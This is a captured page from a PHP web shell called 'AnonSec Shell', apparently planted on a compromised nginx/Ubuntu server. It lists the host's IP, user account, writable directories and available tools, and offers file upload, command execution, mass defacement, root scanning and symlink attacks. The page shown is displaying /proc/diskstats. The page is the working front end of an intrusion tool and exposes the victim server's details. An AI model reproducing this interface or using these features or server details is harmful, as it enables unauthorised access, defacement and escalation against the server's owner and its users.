AnonSec Shell
Server IP : 198.244.165.102  /  Your IP : 216.73.216.218   [ Reverse IP ]
Web Server : nginx/1.24.0
System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : colleary ( 1011)
PHP Version : 8.3.23
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/diskstats
   7       0 loop0 11 0 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 259       0 nvme0n1 1746566 6818195 1095313433 738299 70164958 29346581 1093990902 102020255 0 89624935 133658572 51411 41 651818464 25400 19052690 30874617
 259       6 nvme0n1p1 523 142 23858 79 2 0 9 0 0 53 80 2 0 1035504 0 0 0
 259       7 nvme0n1p2 3377 14121 2636828 1375 456 105 218437 1327 0 1601 2731 49 0 1546760 28 0 0
 259       8 nvme0n1p3 1732268 6796579 1092446581 733754 70140043 29158963 1092076696 101982507 0 91526428 102741632 51360 41 649236200 25371 0 0
 259       9 nvme0n1p4 9582 7353 152248 2984 24457 187513 1695760 36420 0 5348 39405 0 0 0 0 0 0
 259      10 nvme0n1p5 214 0 5470 25 0 0 0 0 0 29 25 0 0 0 0 0 0
 259       1 nvme1n1 1157716 6799984 1028150586 616312 70164348 29347327 1093991997 100962040 0 88733357 132326303 51409 41 650782960 25115 19052690 30722835
 259       2 nvme1n1p1 351 0 22512 36 0 0 0 0 0 31 36 0 0 0 0 0 0
 259       3 nvme1n1p2 2472 14058 2102370 1161 456 105 218437 1245 0 1581 2433 49 0 1546760 26 0 0
 259       4 nvme1n1p3 1144952 6778632 1025859616 611902 70140040 29158966 1092076696 100923995 0 90644013 101560987 51360 41 649236200 25088 0 0
 259       5 nvme1n1p4 9615 7294 152040 3151 23852 188256 1696864 36799 0 5875 39950 0 0 0 0 0 0
   9       2 md2 1015 0 539298 214 430 0 218344 762 0 324 1004 49 0 1546760 28 0 0
   9       3 md3 893417 0 126788538 173591 80246324 0 1084962128 103348643 0 62859639 103593869 51401 0 649236200 71635 0 0

Anon7 - 2022
AnonSec Team